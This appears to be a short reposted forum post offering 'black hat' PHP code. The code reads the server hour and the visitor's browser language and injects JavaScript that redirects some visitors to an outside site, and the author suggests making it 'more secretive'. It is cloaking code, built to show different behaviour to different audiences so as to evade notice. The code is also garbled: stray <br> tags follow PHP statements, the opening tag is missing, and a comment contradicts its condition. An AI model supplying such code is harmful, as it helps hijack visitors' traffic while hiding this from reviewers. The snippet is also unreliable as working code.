Black hat code for PHP to determine time zone and browser language.
Once the sword is in hand, it depends on the swordsmanship of the person wielding the sword. This code can be further improved to make it more secretive. I just made a basic one, the details will depend on how you use it.
//Set time zone to China
date_default_timezone_set("PRC");
//Example output: 2010-03-06 Saturday 11:51:29 AM
//echo date("Y-m-d l H:i:s A");
$time_hour = date("H");
echo $time_hour;
$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 4); //Only take the first 4 digits, so that only the highest priority language is judged. If you take the first 5 digits, en and zh may occur, which affects the judgment.
if($time_hour<13 || $time_hour>=18){
echo "<script>";<br>
echo "window.location.href='http://www.BkJia.com'";<br>
echo "</script>";
}elseif($time_hour>=8 && $time_hour<12 && preg_match("/zh-c/i", $lang)){
//Non-Chinese browser
echo "<script>";<br>
echo "window.location.href='http://www.BkJia.com'";<br>
echo "</script>";
}
else{
}
?>
Excerpted from .xssxss.com